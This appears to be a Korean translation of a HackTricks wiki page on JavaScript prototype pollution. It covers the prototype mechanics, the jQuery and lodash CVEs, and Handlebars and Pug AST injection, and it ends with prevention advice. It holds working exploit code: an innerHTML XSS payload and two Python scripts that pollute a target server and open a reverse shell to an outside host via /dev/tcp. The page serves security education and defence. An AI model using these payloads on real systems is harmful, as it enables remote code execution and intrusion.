NodeJS - __proto__ & prototype Pollution

Support HackTricks

JavaScript의 객체

JavaScript의 객체는 본질적으로 속성으로 알려진 키-값 쌍의 모음입니다. 객체는 Object.create를 사용하여 null을 인수로 전달하여 빈 객체를 생성할 수 있습니다. 이 방법은 상속된 속성이 없는 객체를 생성할 수 있게 해줍니다.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

빈 객체는 빈 사전과 유사하며, {}로 표현됩니다.

JavaScript의 함수와 클래스

JavaScript에서 클래스와 함수는 밀접하게 연결되어 있으며, 함수는 종종 클래스의 생성자로 사용됩니다. JavaScript는 기본적인 클래스 지원이 없지만, 생성자는 클래스 동작을 모방할 수 있습니다.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

JavaScript는 런타임에 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능의 동적 확장을 가능하게 합니다.

toStringvalueOf와 같은 함수는 그 동작을 변경하도록 수정될 수 있으며, 이는 JavaScript의 프로토타입 시스템의 적응 가능한 특성을 보여줍니다.

Inheritance

프로토타입 기반 프로그래밍에서 속성/메서드는 클래스에서 객체로 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스나 빈 객체에 속성/메서드를 추가하여 생성됩니다.

다른 객체의 프로토타입 역할을 하는 객체(예: myPersonObj)에 속성이 추가되면, 상속받는 객체는 이 새로운 속성에 접근할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript 객체는 키-값 쌍으로 정의되며 JavaScript Object 프로토타입에서 상속됩니다. 이는 Object 프로토타입을 변경하면 환경 내의 모든 객체에 영향을 미칠 수 있음을 의미합니다.

다른 예제를 사용하여 설명해 보겠습니다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Object 프로토타입에 대한 접근은 다음을 통해 가능합니다:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Object 프로토타입에 속성을 추가함으로써, 모든 JavaScript 객체는 이러한 새로운 속성을 상속받게 됩니다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

__proto__ 사용이 제한된 시나리오에서는 함수의 프로토타입을 수정하는 것이 대안입니다:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

이것은 Vehicle 생성자에서 생성된 객체에만 영향을 미치며, 이들에게 beep, hasWheels, honk, 및 isElectric 속성을 부여합니다.

프로토타입 오염을 통해 JavaScript 객체에 전역적으로 영향을 미치는 두 가지 방법은 다음과 같습니다:

  1. Object.prototype를 직접 오염시키기:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. 일반적으로 사용되는 구조체의 생성자 프로토타입 오염:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

이 작업 후, 모든 JavaScript 객체는 goodbyegreet 메서드를 실행할 수 있습니다.

다른 객체 오염시키기

클래스에서 Object.prototype으로

특정 객체를 오염시킬 수 있는 시나리오에서 Object.prototype에 접근해야 하는 경우, 다음과 같은 코드로 검색할 수 있습니다:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 접근하여 오염시킬 수 있다면 인덱스를 통해 접근 가능한 배열의 값오염시킬 수 있다는 점에 유의하세요 (값을 덮어쓸 수는 없으므로, 어떤 식으로든 사용되지만 작성되지 않은 인덱스를 오염시켜야 합니다).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

JS를 통해 HTML 요소를 생성할 때 innerHTML 속성을 덮어쓸 수 있어 임의의 HTML 코드를 작성할 수 있습니다. 이 글에서 아이디어와 예시입니다.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Examples

Basic Example

프로토타입 오염은 Object.prototype의 속성을 덮어쓸 수 있는 애플리케이션의 결함으로 인해 발생합니다. 이는 대부분의 객체가 Object.prototype에서 속성을 파생하기 때문에 의미합니다.

가장 쉬운 예는 확인될 정의되지 않은 객체의 속성에 값을 추가하는 것입니다.

if (user.admin) {

If the attribute admin is undefined it's possible to abuse a PP and set it to True with something like: 속성이 admin이 정의되지 않은 경우 PP를 악용하여 다음과 같이 True로 설정할 수 있습니다:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

이 메커니즘은 공격자가 특정 입력을 제어할 수 있는 경우 애플리케이션의 모든 객체의 프로토타입을 수정할 수 있도록 속성을 조작하는 것과 관련이 있습니다. 이 조작은 일반적으로 __proto__ 속성을 설정하는 것을 포함하며, JavaScript에서 이는 객체의 프로토타입을 직접 수정하는 것과 동의어입니다.

이 공격이 성공적으로 실행될 수 있는 조건은 특정 연구에서 설명된 바와 같이 다음과 같습니다:

  • 재귀적 병합 수행.

  • 경로에 따라 속성 정의.

  • 객체 복제.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

다른 페이로드:

클라이언트 측 프로토타입 오염을 통한 XSS

Client Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend를 통한 프로토타입 오염 공격

자세한 내용은 이 기사를 확인하세요 jQuery에서 $ .extend 함수는 깊은 복사 기능이 잘못 사용될 경우 프로토타입 오염을 초래할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체의 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성되면 새로운 객체를 위한 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

이 취약점은 CVE-2019–11358로 식별되며, 깊은 복사가 어떻게 우연히 프로토타입을 수정할 수 있는지를 보여줍니다. 이는 isAdmin과 같은 속성이 적절한 존재 확인 없이 확인될 경우 무단 관리자 접근과 같은 잠재적인 보안 위험으로 이어질 수 있습니다.

CVE-2018–3721, CVE-2019–10744: lodash를 통한 프로토타입 오염 공격

자세한 내용은 이 기사를 확인하세요

Lodash는 유사한 프로토타입 오염 취약점(CVE-2018–3721, CVE-2019–10744)에 직면했습니다. 이러한 문제는 버전 4.17.11에서 해결되었습니다.

CVE가 포함된 또 다른 튜토리얼

프로토타입 오염을 탐지하는 도구

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: 웹 애플리케이션에서 서버 측 프로토타입 오염 취약점을 탐지하고 분석하기 위해 설계된 Burp Suite 확장입니다. 이 도구는 요청을 스캔하여 잠재적인 프로토타입 오염 문제를 식별하는 과정을 자동화합니다. 특히 Node.js 라이브러리에 중점을 두고 프로토타입 오염을 활용하여 해로운 작업을 실행하는 알려진 가젯을 악용합니다.

  • server-side-prototype-pollution: 이 확장은 서버 측 프로토타입 오염 취약점을 식별합니다. 서버 측 프로토타입 오염에서 설명된 기술을 사용합니다.

NodeJS의 AST 프로토타입 오염

NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(AST)를 광범위하게 활용합니다. 이 섹션에서는 Handlebars 및 Pug와 같은 템플릿 엔진에서의 프로토타입 오염과 관련된 취약점을 탐구합니다.

Handlebars 취약점 분석

Handlebars 템플릿 엔진은 프로토타입 오염 공격에 취약합니다. 이 취약점은 javascript-compiler.js 파일 내의 특정 함수에서 발생합니다. 예를 들어, appendContent 함수는 pendingContent가 존재할 경우 이를 연결하고, pushSource 함수는 소스를 추가한 후 pendingContentundefined로 재설정합니다.

악용 과정

악용은 Handlebars에 의해 생성된 AST(추상 구문 트리)를 활용하여 다음 단계를 따릅니다:

  1. 파서 조작: 처음에 파서는 NumberLiteral 노드를 통해 값이 숫자여야 한다고 강제합니다. 프로토타입 오염은 이를 우회할 수 있어 비숫자 문자열을 삽입할 수 있게 합니다.

  2. 컴파일러에 의한 처리: 컴파일러는 AST 객체 또는 문자열 템플릿을 처리할 수 있습니다. input.typeProgram과 같으면 입력이 미리 파싱된 것으로 처리되며, 이는 악용될 수 있습니다.

  3. 코드 주입: Object.prototype을 조작하여 템플릿 함수에 임의의 코드를 주입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.

Handlebars 취약점의 악용을 보여주는 예:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 주입할 수 있는 방법을 보여줍니다.

외부 참조: 'flat' 라이브러리에서 프로토타입 오염과 관련된 문제가 발견되었습니다. 자세한 내용은 여기에서 확인하세요: GitHub의 문제.

외부 참조: ‘flat’ 라이브러리의 프로토타입 오염과 관련된 문제

Python에서 프로토타입 오염 악용의 예:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug 취약점

Pug는 또 다른 템플릿 엔진으로, 프로토타입 오염의 유사한 위험에 직면해 있습니다. 자세한 정보는 Pug의 AST 주입 논의에서 확인할 수 있습니다.

Pug에서의 프로토타입 오염 예시:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

예방 조치

프로토타입 오염의 위험을 줄이기 위해 아래의 전략을 사용할 수 있습니다:

  1. 객체 불변성: Object.prototypeObject.freeze를 적용하여 불변으로 만들 수 있습니다.

  2. 입력 검증: JSON 입력은 애플리케이션의 스키마에 대해 철저히 검증해야 합니다.

  3. 안전한 병합 함수: 재귀 병합 함수의 안전하지 않은 사용은 피해야 합니다.

  4. 프로토타입 없는 객체: 프로토타입 속성이 없는 객체는 Object.create(null)을 사용하여 생성할 수 있습니다.

  5. Map 사용: 키-값 쌍을 저장할 때 Object 대신 Map을 사용해야 합니다.

  6. 라이브러리 업데이트: 라이브러리를 정기적으로 업데이트하여 보안 패치를 통합할 수 있습니다.

  7. 린터 및 정적 분석 도구: 프로토타입 오염 취약점을 감지하고 방지하기 위해 적절한 플러그인이 포함된 ESLint와 같은 도구를 사용하세요.

  8. 코드 리뷰: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 수정하기 위해 철저한 코드 리뷰를 시행하세요.

  9. 보안 교육: 개발자에게 프로토타입 오염의 위험과 안전한 코드를 작성하기 위한 모범 사례에 대해 교육하세요.

  10. 라이브러리 사용 시 주의: 서드파티 라이브러리를 사용할 때 주의하세요. 그들의 보안 상태를 평가하고, 특히 객체를 조작하는 코드에 대해 검토하세요.

  11. 런타임 보호: 프로토타입 오염 공격을 감지하고 방지할 수 있는 보안 중심의 npm 패키지를 사용하는 등 런타임 보호 메커니즘을 사용하세요.

참고 문헌

Support HackTricks

Last updated